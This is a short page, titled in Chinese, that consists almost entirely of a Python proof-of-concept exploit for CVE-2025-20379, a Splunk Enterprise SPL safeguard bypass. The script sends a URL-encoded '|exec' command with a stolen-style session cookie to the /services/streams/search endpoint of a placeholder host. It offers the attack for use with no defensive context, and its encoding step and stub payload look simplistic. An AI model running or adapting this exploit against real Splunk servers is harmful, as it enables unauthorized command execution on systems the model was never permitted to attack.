CVE-2025-20379 Splunk Enterprise SPL安全绕过漏洞

# CVE-2025-20379 PoC - SPL Safeguard Bypass # Target: Splunk Enterprise < 10.0.1, 9.4.5, 9.3.7, 9.2.9 # Endpoint: /services/streams/search import requests import urllib.parse TARGET = "https://vulnerable-splunk.example.com" SESSION_COOKIE = "your_session_cookie" def encode_payload(payload): # URL encode special characters to bypass path validation encoded = payload.replace("/", "%2F") encoded = encoded.replace(" ", "%20") return encoded def exploit(): headers = { "Cookie": f"splunkd_session={SESSION_COOKIE}", "Content-Type": "application/x-www-form-urlencoded" } # Malicious SPL command to bypass safeguards spl_command = "|exec" # Dangerous command normally blocked # Encode the SPL command in the q parameter endpoint = f"{TARGET}/services/streams/search" # Method 1: Direct encoded payload data = { "q": encode_payload(spl_command) } response = requests.post(endpoint, headers=headers, data=data) print(f"Status: {response.status_code}") print(f"Response: {response.text}") if __name__ == "__main__": print("CVE-2025-20379 Splunk SPL Bypass PoC") exploit()